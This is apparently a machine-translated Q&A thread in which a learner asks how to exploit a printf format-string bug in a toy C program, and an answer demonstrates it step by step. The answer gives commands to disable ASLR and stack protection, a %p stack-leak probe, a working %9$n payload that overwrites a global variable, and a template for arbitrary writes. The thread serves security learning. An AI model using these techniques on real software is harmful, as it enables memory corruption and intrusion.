Guy*_*Guy 6 c security string printf format-string
假设我有以下代码:
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
int num1 = 0;
int main(int argc, char **argv){
double num2;
int *ptr = &num1;
printf(argv[1]);
if (num1== 2527){
printf("Well done");
}
if(num2 == 4.56)
printf("You are a format string expert");
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我正在努力了解如何正确行事,但我无法用互联网上的指南来组织我的思想.
它假设是这样的:
./Program %p %p %p %p
Run Code Online (Sandbox Code Playgroud)
然后
./Program $( printf "\xAA\xAA\xAA\xAA") %.2523d%n
Run Code Online (Sandbox Code Playgroud)
我只是想不出来,请帮我解决这个问题.
其重点是通过prinft函数将字符串利用到正在运行的程序中.我需要打印"完成"和"你是格式字符串专家".就我而言,通过Linux终端/ shell.正如HuStmpHrrr所注意到的:这确实应该是White Hacking - Software Security
首先,我建议你阅读这本书Hacking: The Art of Exploitation.这很棒.
现在我尝试解释如何利用您的程序.我假设你了解一些关于Format String Exploits的基础知识,所以我不必从头开始.但是,禁用ASLR并编译可执行文件而不进行堆栈保护非常重要.
# disable ASLR
@> echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
# compile without stack protection
@> gcc -g -fno-stack-protector -z execstack fmt.c
Run Code Online (Sandbox Code Playgroud)
我稍微修改了你的程序,因此更容易理解这个漏洞是如何工作的:
#include <stdio.h>
int num1 = 0xdead;
int main(int argc, char **argv){
int num2 = 0xbeef;
int *ptr = &num1;
printf(argv[1]);
if (num1 == 0xabc){
printf("Well done");
}
if(num2 == 0xdef)
printf("You are a format string expert");
printf("\n[DEBUG] num1: 0x%x [%p] num2: 0x%x [%p]\n", num1, &num1, num2, &num2);
return 0;
}
Run Code Online (Sandbox Code Playgroud)
我使用的是64位Ubunty系统.指针大小为8个字节.
漏洞利用
变量num1
首先,我们尝试更改变量num1.地址num1存储在ptr.ptr是main中的局部变量,因此它被放在堆栈上(类型为int*).要检查堆栈,我们可以使用%p格式说明符.
@> ./a.out %p.%p.%p.%p.%p.%p.%p.%p.%p
Run Code Online (Sandbox Code Playgroud)
输出:
0x7fffffffdf78.0x7fffffffdf90.(nil).0x7ffff7dd4e80.0x7ffff7dea560.0x7fffffffdf78.0x200400440.0xbeefffffdf70.0x601040
[DEBUG] num1: 0xdead [0x601040] num2: 0xbeef [0x7fffffffde84]
Run Code Online (Sandbox Code Playgroud)
我们可以看到第9个元素具有值0x601040.这与我们的调试消息中的值相同num1: 0xdead [0x601040].现在我们知道这0x601040是指向变量num1的指针,它位于堆栈上.要更改该值(写入内存),我们可以将%n格式说明符与直接参数访问结合使用,%9$n以写入存储在第9个堆栈位置的地址.
要获得对Well done消息的访问权限,我们只需要将0xabc值写入stdout并用于%n在内存中写入该数字:
@> ./a.out `python -c "print('A' * 0xabc)"`%9\$n
Run Code Online (Sandbox Code Playgroud)
我用python来生成输出.现在该程序打印"做得好".
变量num2
如果我们仔细观察输出,我们会看到第8个元素具有值beef.那是我们的变量num2.我仍然没弄清楚,如何利用,num2但我试着解释如何在理论上做到这一点.我们想在堆栈上放置一个任意的内存地址.该地址应该是指向num2(0x7fffffffde84)的地址.之后我们可以使用该%n参数写入该地址.要在堆栈上放置一个地址,我们可以使用格式字符串.
@> ./a.out `printf "\x08\x07\x06\x05\x04\x03\x02\x01"`
Run Code Online (Sandbox Code Playgroud)
问题是我们必须在堆栈上找到这个格式字符串的位置.
@> ./a.out AAAA`printf "\x08\x07\x06\x05\x04\x03\x02\x01"`BBBB`python -c "print('%p.' * 200)"`
Run Code Online (Sandbox Code Playgroud)
'A'和'B'只是填充,在输出中也更容易找到我们的地址.该漏洞看起来类似于num1漏洞利用方式:
@> ./a.out ADDRESS`python -c "print('A' * VAL_TO_WRITE)"`PADDING%LOCATION_OF_ADDRESS\$n
Run Code Online (Sandbox Code Playgroud)
问题:在我们的场景中,地址num2是0x7fffffffde84(即0x00007fffffffde84).该地址无法写入,因为0x00是C字符串终结符.所以我们不能把地址放在我们的格式字符串中.